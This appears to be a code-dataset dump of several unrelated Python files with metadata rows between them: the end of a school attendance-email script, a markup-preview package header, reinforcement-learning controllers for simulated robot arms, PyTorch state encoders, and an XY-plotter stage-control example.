if communication['student_id'] == student['student_id'] and communication['communication_method']['display_name'] == 'Letter' and communication['comments'] == '5+ AU Attendance Letter':
database[student['student_id']]['5au_letters'] += 1
for intervention in interventions:
if intervention['student_id'] == student['student_id'] and intervention['intervention_type']['display_name'] == 'Attendance Plan Meeting':
database[student['student_id']]['meetings_held'] += 1
if intervention['student_id'] == student['student_id'] and intervention['intervention_type']['display_name'] == 'Attendance Intervention-Truancy Referral':
database[student['student_id']]['truancy_referrals'] += 1
if database[student['student_id']]['au'] >= 3 and database[student['student_id']]['calls_logged'] == 0:
database[student['student_id']]['action1'] = 'Advisor Phone Call'
elif database[student['student_id']]['au'] >= 3 and database[student['student_id']]['calls_logged'] > 0:
database[student['student_id']]['action1'] = 'Complete'
if database[student['student_id']]['au'] >= 4 and database[student['student_id']]['meetings_held'] == 0:
database[student['student_id']]['action2'] = 'Meeting'
elif database[student['student_id']]['au'] >= 4 and database[student['student_id']]['meetings_held'] > 0:
database[student['student_id']]['action2'] = 'Complete'
counter += 1
advisor_output = {}
for student in database:
if database[student]['advisor'] in advisor_output.keys():
continue
else:
advisor_output[database[student]['advisor']] = {'students': [], 'email': database[student]['advisor_email']}
for student in database:
advisor_output[database[student]['advisor']]['students'].append([
f"{database[student]['first_name']} {database[student]['last_name']}",
database[student]['au']
])
for advisor in advisor_output:
table_data = ''
for student in advisor_output[advisor]['students']:
table_data += f"<tr><td>{[student][0][0]}</td><td>{[student][0][1]}</td> </tr>"
with open('../html/att_advisor_email.html', 'r') as f:
html_email = f.read().replace('###table_data###', table_data)
if today_is_a_school_day():
send_email(to_addr=advisor_output[advisor]['email'], msg_subject=f"Advisory Attendance", html_msg=html_email, reply_to='cpuliafico@collegiateacademies.org')
else:
logging.info('no email today -- it\'s not a school day')
break
if __name__ == '__main__':
send_advisor_attendance_emails() | 51.83237 | 198 | 0.596074 | 960 | 8,967 | 5.320833 | 0.178125 | 0.139193 | 0.209867 | 0.258418 | 0.587901 | 0.463587 | 0.376077 | 0.342991 | 0.30462 | 0.30462 | 0 | 0.011938 | 0.233969 | 8,967 | 173 | 199 | 51.83237 | 0.731693 | 0 | 0 | 0.124183 | 0 | 0.013072 | 0.334357 | 0.041382 | 0 | 0 | 0 | 0 | 0 | 1 | 0.006536 | false | 0 | 0.013072 | 0 | 0.019608 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5d6b67d65d972c66676d26559be4024c6ffbdf57 | 233 | py | Python | preview_markup/__init__.py | xolox/python-preview-markup | f6efffda0e2a2cec2a22c2633755d5d34f0ee455 | [
"MIT"
] | 6 | 2016-08-19T16:10:34.000Z | 2020-12-03T03:44:12.000Z | preview_markup/__init__.py | xolox/python-preview-markup | f6efffda0e2a2cec2a22c2633755d5d34f0ee455 | [
"MIT"
] | 4 | 2017-09-01T15:38:11.000Z | 2022-01-25T02:22:42.000Z | preview_markup/__init__.py | xolox/python-preview-markup | f6efffda0e2a2cec2a22c2633755d5d34f0ee455 | [
"MIT"
] | 7 | 2016-07-16T09:21:39.000Z | 2020-12-05T02:56:08.000Z | # Live preview Markdown and reStructuredText files as HTML in a web browser.
#
# Author: Peter Odding <peter@peterodding.com>
# Last Change: April 12, 2018
# URL: https://github.com/xolox/python-preview-markup
__version__ = '0.3.3'
| 29.125 | 76 | 0.746781 | 35 | 233 | 4.857143 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044776 | 0.137339 | 233 | 7 | 77 | 33.285714 | 0.800995 | 0.854077 | 0 | 0 | 0 | 0 | 0.178571 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
5d74c959b4f1c7e07ca0b46f2ca592e13ee4bc0a | 24,570 | py | Python | old/control/DPO_features.py | ali493/pyro | 1245340077a733e2ab35765eae783b358d2f3af9 | [
"MIT"
] | null | null | null | old/control/DPO_features.py | ali493/pyro | 1245340077a733e2ab35765eae783b358d2f3af9 | [
"MIT"
] | null | null | null | old/control/DPO_features.py | ali493/pyro | 1245340077a733e2ab35765eae783b358d2f3af9 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Created on Sun Apr 24 16:46:01 2016
@author: agirard
"""
from AlexRobotics.control import DPO as DPO
from AlexRobotics.dynamic import DynamicSystem as RDDS
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.animation as animation
'''
################################################################################
'''
class TD_Greedy_1DOF_Features( DPO.QLearning1DOF ):
""" Dynamic programming for 1 DOF, with features design for manipulator class """
############################
def __init__(self, sys , cost = 'time' , experiment_name = 'data' ):
self.DS = sys # Dynamic system class
########################
# Learning params
self.alpha = 0.0005
self.gamma = 0.7
self.eps = 1.0 # greedy / exploration
self.exp_n = 0
####################
#Features
self.n_features = 3
self.f1 = self.delta_enery_abs
self.f2 = self.sliding_var_abs
# initial weight values
self.W = np.ones( self.n_features )
#######################
self.x0 = np.array([3,0])
self.x_target = np.array([0,0])
#########################
self.dt = 0.1 # time discretization
self.tf = 25
self.INF = 10 # default large cost
self.max_error = [0.2,0.2] # Value of epsilon
###################################
self.cost = cost
self.experiment_name = experiment_name
# Quadratic cost
self.rho = 0.1
self.w_quad = np.array([ 0.1 , 0.01 , self.rho * 0.01 ])
print('Reinforcement learning TD greedy with linear features:')
# Predefined cost params
if cost == 'time':
print('Minimium time optimization')
self.g = self.g_time
self.h = self.h_quad
self.INF = 6
elif cost == 'quadratic':
print('Quadratic cost optimization')
self.g = self.g_quadratic
self.h = self.h_quad # no final cost
self.INF = 10
elif cost == 'energy':
print('Minimium energy optimization')
self.g = self.g_energy
self.h = self.h_target
self.INF = 6
else :
print('Warning: not a standar cost function')
self.discretizeactions()
#############################
def discretizeactions(self):
self.Nu0 = 11
self.U = np.linspace( self.DS.u_lb[0] , self.DS.u_ub[0] , self.Nu0 )
######################
def features_vector( self, x = np.zeros(2) ):
""" features """
feat = np.array([ self.f1( x ) , self.f2(x) , 1 ])
# feat = np.array([ self.f1( x ) , self.f2( x ) ])
return feat
######################
def j_hat( self, x = np.zeros(2) ):
""" features """
feat = self.features_vector( x )
j_hat = np.dot( self.W , feat )
return j_hat
######################
def f1( self, x = np.zeros(2) ):
""" scalar feature #1 """
return 0
######################
def f2( self, x = np.zeros(2) ):
""" scalar feature #2 """
return 0
######################
def f3( self, x = np.zeros(2) ):
""" scalar feature #2 """
return 0
######################
def delta_enery( self, x = np.zeros(2) ):
""" delta energy """
[ e , e_k , e_p ] = self.DS.energy_values( self.x_target )
e_target = e
[ e , e_k , e_p ] = self.DS.energy_values( x )
e_actual = e
delta_enery = e_target - e_actual
return delta_enery
######################
def delta_enery_abs( self, x = np.zeros(2) ):
""" delta energy """
delta_enery = self.delta_enery( x )
return np.abs( delta_enery )
######################
def sign_of_speed( self, x = np.zeros(2) ):
""" sign of speed """
dq = x[1]
return np.sign( dq )
######################
def pos_err_abs( self, x = np.zeros(2) ):
""" position error abs """
return np.abs( x[0] )
######################
def speed_err_abs( self, x = np.zeros(2) ):
""" position error abs """
return np.abs( x[1] )
######################
def sliding_var_abs( self, x = np.zeros(2) ):
""" position error abs """
return np.abs( x[1] + 2 * x[0] )
#######################
#### Modif to functions
##########
##############################
def Learn( self , x = np.array([0,0]) , u = np.array([0]) , x_next = np.array([0,0]) ):
""" """
# validity of the options
x_ok = self.DS.isavalidstate( x_next )
u_ok = self.DS.isavalidinput( x , u )
# New Q sample
if x_ok and u_ok:
J_next = self.j_hat( x_next )
J_sample = self.g( x , u ) + self.gamma * J_next
else:
J_next = self.j_hat( x_next )
J_sample = self.INF
#print("Next: ",J_next, "Sample: ", J_sample)
# Value function error
error = J_sample - self.j_hat( x )
#print "Error: ", error, "Feature:", self.features_vector( x )
# Gradient descent
self.W = self.W + self.alpha * error * self.features_vector( x )
#print "W: ", self.W
##############################
def exploration_ctl( self , x = np.array([0,0]) , t = 0 ):
""" Random or Optimal CTL """
u = np.zeros( self.DS.m )
if np.random.uniform(0,1) < self.eps:
# Current optimal behavior
u[0] = self.greedy_policy( x , t )
else:
# Random exploration
random_index = int(np.random.uniform( 0 , self.Nu0 ))
u[0] = self.U[ random_index ]
return u
##############################
def greedy_policy( self , x = np.array([0,0]) , t = 0 ):
""" Optimal (so-far ) CTL """
Q_list = np.zeros( self.Nu0 )
# for all possible actions
for k in range( self.Nu0 ):
u = self.U[k]
if self.DS.m == 1:
u = np.array( [ u ] )
# Compute next state for all inputs
x_next = self.DS.fc( x , u ) * self.dt + x
# validity of the options
x_ok = self.DS.isavalidstate( x_next )
u_ok = self.DS.isavalidinput( x , u )
if x_ok and u_ok:
J_next = self.j_hat( x_next )
Q_list[k] = self.g( x , u ) + self.gamma * J_next
else:
Q_list[k] = self.INF
k_star = Q_list.argmin()
u = self.U[ k_star ]
if self.DS.m == 1:
u = np.array( [ u ] )
return u
##############################
def training( self , n_trial = 1 , random = False , show = True ):
""" Training experiments """
x0 = self.x0
dt = 0.05
plot = False
n_plot = 20.
n_print = 1.
for i in range( n_trial ):
self.exp_n = self.exp_n + 1
if random:
p = np.random.uniform( x0[0] - 1 , x0[0] + 1 )
s = np.random.uniform( x0[1] - 0.5 , x0[1] + 0.5 )
x = np.array([p,s])
else:
x = x0
if (i/n_print-int(i/n_print)) < 0.00001 :
print 'Experiment #',self.exp_n
print 'Weight =',self.W
if (i/n_plot-int(i/n_plot)) < 0.00001 and show :
# Show behavior so far
plot = True
self.DS.ctl = self.greedy_policy
else:
plot = False
self.DS.ctl = self.exploration_ctl
self.experiment( x , self.tf , dt , plot )
# Optimal policy
self.DS.ctl = self.greedy_policy
#############################
def experiment(self, x0 = np.array([0,0]) , tf = 10 , dt = 0.05 , plot = False ):
""" Simulate (EULER) and animate robot """
n = int( ( tf + 0.0 ) / dt + 1 )
self.DS.Sim = RDDS.Simulation( self.DS , tf , n , 'euler' )
self.DS.Sim.x0 = x0
self.DS.Sim.compute()
if plot:
self.DS.PTS = np.zeros((2,2,n))
for i in range(n):
self.DS.PTS[:,:,i] = self.DS.fwd_kinematic( self.DS.Sim.x_sol_CL[i,0] ) # Forward kinematic
self.fig = plt.figure()
self.ax = self.fig.add_subplot(111, autoscale_on=False, xlim=(-2, 2), ylim=(-2, 2))
self.ax.grid()
self.DS.line, = self.ax.plot([], [], 'o-', lw=2)
self.DS.time_template = 'time = %.1fs'
self.DS.time_text = self.ax.text(0.05, 0.9, '', transform=self.ax.transAxes)
self.DS.ani = animation.FuncAnimation( self.fig, self.DS.__animateStop__, n, interval=25, blit=True, init_func=self.DS.__ani_init__ , repeat=False)
plt.show()
#Learning
for i in range(n-1):
x = self.DS.Sim.x_sol_CL[i,:]
u = self.DS.Sim.u_sol_CL[i,:]
x_next = self.DS.Sim.x_sol_CL[i+1,:]
self.Learn( x , u , x_next )
################################
def plot_J_hat(self):
""" print graphic """
xname = self.DS.state_label[0] + ' ' + self.DS.state_units[0]
yname = self.DS.state_label[1] + ' ' + self.DS.state_units[1]
self.Nx0 = 100
self.Nx1 = 100
self.X = [ None , None ]
self.X[0] = np.linspace( self.DS.x_lb[0] , self.DS.x_ub[0] , self.Nx0 )
self.X[1] = np.linspace( self.DS.x_lb[1] , self.DS.x_ub[1] , self.Nx1 )
self.J = np.zeros( ( self.Nx0 , self.Nx1 ) )
## Compute J_hat on grid
for i in range(self.Nx0):
for j in range(self.Nx1):
x = np.array( [ self.X[0][i] , self.X[1][j] ])
self.J[i,j] = self.j_hat( x )
###################
fs = 10
self.fig1 = plt.figure(figsize=(4, 4),dpi=300, frameon=True)
self.fig1.canvas.set_window_title('Cost-to-go')
self.ax1 = self.fig1.add_subplot(1,1,1)
plt.ylabel(yname, fontsize = fs)
plt.xlabel(xname, fontsize = fs)
self.im1 = plt.pcolormesh( self.X[0] , self.X[1] , self.J.T )
plt.axis([self.DS.x_lb[0] , self.DS.x_ub[0], self.DS.x_lb[1] , self.DS.x_ub[1]])
plt.colorbar()
plt.grid(True)
plt.tight_layout()
'''
################################################################################
'''
class TD_Greedy_hybrid_1DOF_Features( TD_Greedy_1DOF_Features ):
""" Dynamic programming for 1 DOF, with features design for manipulator class """
############################
def __init__(self, sys , cost = 'time' , experiment_name = 'data' ):
TD_Greedy_1DOF_Features.__init__(self, sys , cost , experiment_name )
#############################
def discretizeactions(self):
self.Nu0 = 3
self.U = np.zeros([self.Nu0 * 2 , 2])
# Continuous options
Uc = np.linspace( self.DS.u_lb[0] , self.DS.u_ub[0] , self.Nu0 )
self.U[0:self.Nu0,0] = Uc
self.U[self.Nu0:,0] = Uc
# Discrete options
self.U[0:self.Nu0,1] = 1 # Gear #1
self.U[self.Nu0:,1] = 5 # Gear #2
##############################
def exploration_ctl( self , x = np.array([0,0]) , t = 0 ):
""" Random or Optimal CTL """
u = np.zeros( self.DS.m )
if np.random.uniform(0,1) < self.eps:
# Current optimal behavior
u = self.greedy_policy( x , t )
else:
# Random exploration
random_index = int(np.random.uniform( 0 , self.Nu0 * 2 ))
u = self.U[ random_index ]
return u
##############################
def greedy_policy( self , x = np.array([0,0]) , t = 0 ):
""" Optimal (so-far ) CTL """
Q_list = np.zeros( self.Nu0 * 2 )
# for all possible actions
for k in range( self.Nu0 * 2 ):
u = self.U[k]
if self.DS.m == 1:
u = np.array( [ u ] )
# Compute next state for all inputs
x_next = self.DS.fc( x , u ) * self.dt + x
# validity of the options
x_ok = self.DS.isavalidstate( x_next )
u_ok = self.DS.isavalidinput( x , u )
if x_ok and u_ok:
J_next = self.j_hat( x_next )
Q_list[k] = self.g( x , u ) + self.gamma * J_next
else:
Q_list[k] = self.INF
k_star = Q_list.argmin()
u = self.U[ k_star ]
if self.DS.m == 1:
u = np.array( [ u ] )
return u
'''
################################################################################
'''
class TD_Greedy_hybrid_2DOF_Features( TD_Greedy_1DOF_Features ):
""" Dynamic programming for 1 DOF, with features design for manipulator class """
############################
def __init__(self, sys , cost = 'time' , experiment_name = 'data' ):
self.DS = sys # Dynamic system class
########################
# Learning params
self.alpha = 0.0005
self.gamma = 0.95
self.eps = 0.9 # greedy / exploration
self.exp_n = 0
####################
#Features
self.n_features = 3
self.f1 = self.delta_enery_abs
self.f2 = self.sliding_var_abs_q0
self.f3 = self.sliding_var_abs_q1
# initial weight values
self.W = np.ones( self.n_features )
#######################
self.x0 = np.array([3,0,0,0])
self.x_target = np.array([0,0,0,0])
#########################
self.dt = 0.1 # time discretization
self.tf = 25
self.INF = 10 # default large cost
self.max_error = 0.2 # Value of epsilon
###################################
self.cost = cost
self.experiment_name = experiment_name
# Quadratic cost
self.rho = 0.1
self.w_quad_x = np.array([ 0.02 , 0.02 , 0.01 , 0.01 ])
self.w_quad_u = np.array([ 0.01 , 0.01 ]) * self.rho
print('Reinforcement learning TD greedy with linear features:')
# Predefined cost params
if cost == 'time':
print('Minimium time optimization')
self.g = self.g_time
self.h = self.h_quad
self.INF = 6
elif cost == 'quadratic':
print('Quadratic cost optimization')
self.g = self.g_quadratic
self.h = self.h_quad # no final cost
self.INF = 10
else :
print('Warning: not a standard cost function')
self.discretizeactions()
#############################
def h(self, x ):
""" Final cost function """
return 0
#############################
def h_zero(self, x ):
""" Final cost function with zero value """
return 0
#############################
def h_target(self, x ):
""" Final cost function """
# Minimum time problem h = 0 , g = 1
if ( np.linalg.norm( x ) < self.max_error ):
# On target = OK
cost = 0
else:
# Off target = bad
cost = self.INF
return cost
#############################
def g(self, x , u ):
""" step cost function """
return 1
#############################
def g_time(self, x , u ):
""" Minimum time cost """
# On target not doing anything (don't count time at this point)
if ( np.linalg.norm( x ) < self.max_error ):
cost = 0
# Add time for the move
else:
cost = self.dt # minimum time
return cost
#############################
def g_quadratic(self, x , u ):
""" Quadratic additive cost """
cx = np.dot( x.T , np.dot( np.diag( self.w_quad_x ) , x ) )
cu = np.dot( u[0:2].T , np.dot( np.diag( self.w_quad_u ) , u[0:2] ) )
cost = ( cx + cu ) * self.dt
return cost
#############################
def h_quad(self, x ):
""" Quadratic additive cost """
cx = np.dot( x.T , np.dot( np.diag( self.w_quad_x ) , x ) )
cost = ( cx ) * self.dt
return cost
#############################
def discretizeactions(self):
T = 5
self.U = np.array([[T,0,0],[0,0,0],[-T,0,0],[0,T,0],[0,-T,0],[T,T,0],[-T,-T,0],[-T,T,0],[T,-T,0],
[T,0,1],[0,0,1],[-T,0,1],[0,T,1],[0,-T,1],[T,T,1],[-T,-T,1],[-T,T,1],[T,-T,1],
[T,0,2],[0,0,2],[-T,0,2],[0,T,2],[0,-T,2],[T,T,2],[-T,-T,2],[-T,T,2],[T,-T,2],
[T,0,3],[0,0,3],[-T,0,3],[0,T,3],[0,-T,3],[T,T,3],[-T,-T,3],[-T,T,3],[T,-T,3]])
#
#self.U = np.array([[T,0,0],[0,0,0],[-T,0,0],[0,T,0],[0,-T,0],[T,T,0],[-T,-T,0],[-T,T,0],[T,-T,0]])
self.Nu = len( self.U )
##############################
def exploration_ctl( self , x = np.array([0,0,0,0]) , t = 0 ):
""" Random or Optimal CTL """
u = np.zeros( self.DS.m )
if np.random.uniform(0,1) < self.eps:
# Current optimal behavior
u = self.greedy_policy( x , t )
else:
# Random exploration
random_index = int(np.random.uniform( 0 , self.Nu ))
u = self.U[ random_index ]
return u
##############################
def greedy_policy( self , x = np.array([0,0,0,0]) , t = 0 ):
""" Optimal (so-far ) CTL """
Q_list = np.zeros( self.Nu )
# for all possible actions
for k in range( self.Nu ):
u = self.U[k]
if self.DS.m == 1:
u = np.array( [ u ] )
# Compute next state for all inputs
x_next = self.DS.fc( x , u ) * self.dt + x
# validity of the options
x_ok = self.DS.isavalidstate( x_next )
u_ok = self.DS.isavalidinput( x , u )
if x_ok and u_ok:
J_next = self.j_hat( x_next )
Q_list[k] = self.g( x , u ) + self.gamma * J_next
else:
Q_list[k] = self.INF
k_star = Q_list.argmin()
u = self.U[ k_star ]
if self.DS.m == 1:
u = np.array( [ u ] )
return u
######################
def features_vector( self, x = np.zeros(4) ):
""" features """
feat = np.array([ self.f1( x ) , self.f2( x ) , self.f3( x ) , 1 ]) # x[0] , x[1] , x[2] , x[3] , np.sin( x[0] ) , np.cos( x[0] ) , np.sin( x[1] ) , np.sin( x[1] ), 1 ])
return feat
######################
def j_hat( self, x = np.zeros(4) ):
""" features """
feat = self.features_vector( x )
j_hat = np.dot( self.W , feat )
return j_hat
######################
def f1( self, x = np.zeros(4) ):
""" scalar feature #1 """
return 0
######################
def f2( self, x = np.zeros(4) ):
""" scalar feature #2 """
return 0
######################
def f3( self, x = np.zeros(4) ):
""" scalar feature #2 """
return 0
######################
def delta_enery( self, x = np.zeros(4) ):
""" delta energy """
#print self.x_target , x
[ e , e_k , e_p ] = self.DS.energy_values( self.x_target )
e_target = e
[ e , e_k , e_p ] = self.DS.energy_values( x )
e_actual = e
delta_enery = e_target - e_actual
return delta_enery
######################
def delta_enery_abs( self, x = np.zeros(4) ):
""" delta energy """
delta_enery = self.delta_enery( x )
return np.abs( delta_enery )
######################
def sliding_var_abs_q0( self, x = np.zeros(4) ):
""" position error abs """
return np.abs( x[2] + 2 * x[0] )
######################
def sliding_var_abs_q1( self, x = np.zeros(4) ):
""" position error abs """
return np.abs( x[3] + 2 * x[1] )
##############################
def training( self , n_trial = 1 , random = False , show = True ):
""" Training experiments """
x0 = self.x0
dt = 0.05
plot = False
n_plot = 20.
n_print = 1.
for i in range( n_trial ):
self.exp_n = self.exp_n + 1
if random:
q1 = np.random.uniform( x0[0] - 1 , x0[0] + 1 )
q2 = np.random.uniform( x0[1] - 1 , x0[1] + 1 )
dq1 = np.random.uniform( x0[2] - 0.5 , x0[2] + 0.5 )
dq2 = np.random.uniform( x0[3] - 0.5 , x0[3] + 0.5 )
x = np.array([q1,q2,dq1,dq2])
else:
x = x0
if (i/n_print-int(i/n_print)) < 0.00001 :
print('Experiment #',self.exp_n)
print('Weight =',self.W)
if (i/n_plot-int(i/n_plot)) < 0.00001 and show :
# Show behavior so far
plot = True
self.DS.ctl = self.greedy_policy
else:
plot = False
self.DS.ctl = self.exploration_ctl
self.experiment( x , self.tf , dt , plot )
# Optimal policy
self.DS.ctl = self.greedy_policy
| 28.14433 | 179 | 0.391697 | 2,813 | 24,570 | 3.308212 | 0.109492 | 0.041908 | 0.020309 | 0.02579 | 0.722545 | 0.669783 | 0.665914 | 0.651408 | 0.639158 | 0.617344 | 0 | 0.038104 | 0.426414 | 24,570 | 873 | 180 | 28.14433 | 0.622224 | 0.067359 | 0 | 0.567282 | 0 | 0 | 0.022249 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.013193 | null | null | 0.044855 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
53761f315aa1a094cecbafc6a4d1d83b82b292a1 | 4,665 | py | Python | utils/encoders.py | rezer0dai/wheeler | 1c4cfb998848a8f4028d66dcf1ad36c4d857ee7f | [
"MIT"
] | null | null | null | utils/encoders.py | rezer0dai/wheeler | 1c4cfb998848a8f4028d66dcf1ad36c4d857ee7f | [
"MIT"
] | null | null | null | utils/encoders.py | rezer0dai/wheeler | 1c4cfb998848a8f4028d66dcf1ad36c4d857ee7f | [
"MIT"
] | null | null | null | import abc
import numpy as np
import torch
from utils.rbf import *
from utils.normalizer import *
class IEncoder(nn.Module):
def __init__(self, cfg):
super().__init__()
self.n_history = cfg['history_count']
self.n_features = cfg['history_features']
@abc.abstractmethod
def out_size(self):
pass
def count(self):
return self.n_history
def total_size(self):
return self.out_size() * self.count()
@abc.abstractmethod
def forward(self, states, history):
pass
def has_features(self):
return False
def extract_features(self, states):
feats = torch.zeros(len(states), 1, 1, self.n_features)
return self.forward(states, feats)
# better to rethink design of this ~ beacuse of RNN ~ features, multiple ? dont over-engineer though...
class StackedEncoder(IEncoder):
def __init__(self, cfg, size_in, encoder_a, encoder_b):
super().__init__({ 'history_count' : 1, 'history_features' : cfg['history_features'] }) # well this is questionable .. rethink .. redo
self.size = size_in
self.encoder_a = encoder_a
self.encoder_b = encoder_b
assert not self.encoder_a.has_features() or not self.encoder_a.has_features(), "only one RNN is allowed in encoder!"
assert not self.encoder_a.has_features(), "Currently RNN can be only *last* layer of encoder!!"
def out_size(self):
return self.encoder_b.out_size()
def has_features(self):
return self.encoder_a.has_features() or self.encoder_a.has_features()
def forward(self, states, history):
size = states.size(0)
states, history = self.encoder_a(states.reshape(-1, self.size), history)
states = states.reshape(size, -1)
return self.encoder_b(states, history)
def extract_features(self, states):
states, features_a = self.encoder_a.extract_features(states)
states, features_b = self.encoder_b.extract_features(states)
return states, features_b if self.encoder_b.has_features() else features_a
class IdentityEncoder(IEncoder):
def __init__(self, cfg, size):
super().__init__(cfg)
self.size = size
def out_size(self):
return self.size
def forward(self, states, history):
return states, history
class RBFEncoder(IEncoder):
def __init__(self, cfg, env, gamas, components, sampler = None):
super().__init__(cfg)
self.size = len(env.reset())
self.encoder = RbfState(env, gamas, components, sampler)
def out_size(self):
return self.encoder.size
def forward(self, states, history):
size = states.size(0)
states = self.encoder.transform(states.reshape(-1, self.size))
return torch.from_numpy(states.reshape(size, -1)), history
class BatchNormalizer2D(IEncoder):
def __init__(self, cfg, state_size):
super().__init__(cfg)
self.size = state_size * cfg['history_count']
self.bn = nn.BatchNorm1d(self.size)
def out_size(self):
return self.size
def forward(self, states, history):
if states.size(0) > 1:
return self.bn(states), history
self.eval() # this must be not called for training trolol
out = self.bn(states)
self.train()
return out, history
class BatchNormalizer3D(IEncoder):
def __init__(self, cfg, state_size):
super().__init__(cfg)
self.bn = nn.BatchNorm1d(state_size)
self.size = state_size
def out_size(self):
return self.size
def forward(self, states, history):
full_shape = states.shape
states = states.reshape(states.size(0), self.size, -1)
if states.size(0) > 1:
return self.bn(states).reshape(full_shape), history
self.eval() # this must be not called for training trolol
out = self.bn(states).reshape(full_shape)
self.train()
return out, history
class GlobalNormalizerWGrads(IEncoder):
def __init__(self, cfg, state_size):
super().__init__(cfg)
self.bn = Normalizer(state_size)
def out_size(self):
return self.bn.size
def forward(self, states, history):
full_shape = states.shape
states = states.reshape(-1, self.bn.size) # we stacking history states ( frames ) as well to batchnorm!
self.bn.update(states)
return self.bn.normalize(states).reshape(full_shape), history
class GlobalNormalizer(GlobalNormalizerWGrads):
def __init__(self, cfg, state_size):
super().__init__(cfg, state_size)
for p in self.bn.parameters():
p.requires_grad = False
| 35.610687 | 142 | 0.655734 | 610 | 4,665 | 4.793443 | 0.181967 | 0.060192 | 0.043092 | 0.038304 | 0.484268 | 0.392271 | 0.315321 | 0.27223 | 0.259234 | 0.225376 | 0 | 0.00561 | 0.235799 | 4,665 | 130 | 143 | 35.884615 | 0.814586 | 0.063023 | 0 | 0.414414 | 0 | 0 | 0.039633 | 0 | 0 | 0 | 0 | 0 | 0.018018 | 1 | 0.252252 | false | 0.018018 | 0.045045 | 0.099099 | 0.54955 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
538b77c02c202f095183aa2c2a66b9a33ecd0ad0 | 3,841 | py | Python | xyplotter-example.py | drewrwilson/cookie-icer | c145d0d81aa8801fb5d5001afd813c380c483ce8 | [
"MIT"
] | null | null | null | xyplotter-example.py | drewrwilson/cookie-icer | c145d0d81aa8801fb5d5001afd813c380c483ce8 | [
"MIT"
] | null | null | null | xyplotter-example.py | drewrwilson/cookie-icer | c145d0d81aa8801fb5d5001afd813c380c483ce8 | [
"MIT"
] | null | null | null | # Two stage example Virtual Machine file
# moves get set in Main
# usb port needs to be set in initInterfaces
# Nadya Peek Dec 2014
#------IMPORTS-------
from pygestalt import nodes
from pygestalt import interfaces
from pygestalt import machines
from pygestalt import functions
from pygestalt.machines import elements
from pygestalt.machines import kinematics
from pygestalt.machines import state
from pygestalt.utilities import notice
from pygestalt.publish import rpc #remote procedure call dispatcher
import time
import io
#------VIRTUAL MACHINE------
class virtualMachine(machines.virtualMachine):
def initInterfaces(self):
if self.providedInterface: self.fabnet = self.providedInterface #providedInterface is defined in the virtualMachine class.
else: self.fabnet = interfaces.gestaltInterface('FABNET', interfaces.serialInterface(baudRate = 115200, interfaceType = 'ftdi', portName = '/dev/tty.usbserial-FTSJZKOC'))
def initControllers(self):
self.xAxisNode = nodes.networkedGestaltNode('X Axis', self.fabnet, filename = '086-005a.py', persistence = self.persistence)
self.yAxisNode = nodes.networkedGestaltNode('Y Axis', self.fabnet, filename = '086-005a.py', persistence = self.persistence)
self.xyNode = nodes.compoundNode(self.xAxisNode, self.yAxisNode)
def initCoordinates(self):
self.position = state.coordinate(['mm', 'mm'])
def initKinematics(self):
self.xAxis = elements.elementChain.forward([elements.microstep.forward(4), elements.stepper.forward(1.8), elements.leadscrew.forward(8), elements.invert.forward(True)])
self.yAxis = elements.elementChain.forward([elements.microstep.forward(4), elements.stepper.forward(1.8), elements.leadscrew.forward(8), elements.invert.forward(False)])
self.stageKinematics = kinematics.direct(2) #direct drive on all axes
def initFunctions(self):
self.move = functions.move(virtualMachine = self, virtualNode = self.xyNode, axes = [self.xAxis, self.yAxis], kinematics = self.stageKinematics, machinePosition = self.position,planner = 'null')
self.jog = functions.jog(self.move) #an incremental wrapper for the move function
pass
def initLast(self):
#self.machineControl.setMotorCurrents(aCurrent = 0.8, bCurrent = 0.8, cCurrent = 0.8)
#self.xNode.setVelocityRequest(0) #clear velocity on nodes. Eventually this will be put in the motion planner on initialization to match state.
pass
def publish(self):
#self.publisher.addNodes(self.machineControl)
pass
def getPosition(self):
return {'position':self.position.future()}
def setPosition(self, position = [None]):
self.position.future.set(position)
def setSpindleSpeed(self, speedFraction):
#self.machineControl.pwmRequest(speedFraction)
pass
#------IF RUN DIRECTLY FROM TERMINAL------
if __name__ == '__main__':
# The persistence file remembers the node you set. It'll generate the first time you run the
# file. If you are hooking up a new node, delete the previous persistence file.
stages = virtualMachine(persistenceFile = "test.vmp")
# You can load a new program onto the nodes if you are so inclined. This is currently set to
# the path to the 086-005 repository on Nadya's machine.
#stages.xyNode.loadProgram('../../../086-005/086-005a.hex')
# This is a widget for setting the potentiometer to set the motor current limit on the nodes.
# The A4982 has max 2A of current, running the widget will interactively help you set.
#stages.xyNode.setMotorCurrent(0.7)
# This is for how fast the
stages.xyNode.setVelocityRequest(8)
# Some random moves to test with
moves = [[10,10],[20,20],[10,10],[0,0]]
# Move!
for move in moves:
stages.move(move, 0)
status = stages.xAxisNode.spinStatusRequest()
# This checks to see if the move is done.
while status['stepsRemaining'] > 0:
time.sleep(0.001)
status = stages.xAxisNode.spinStatusRequest()
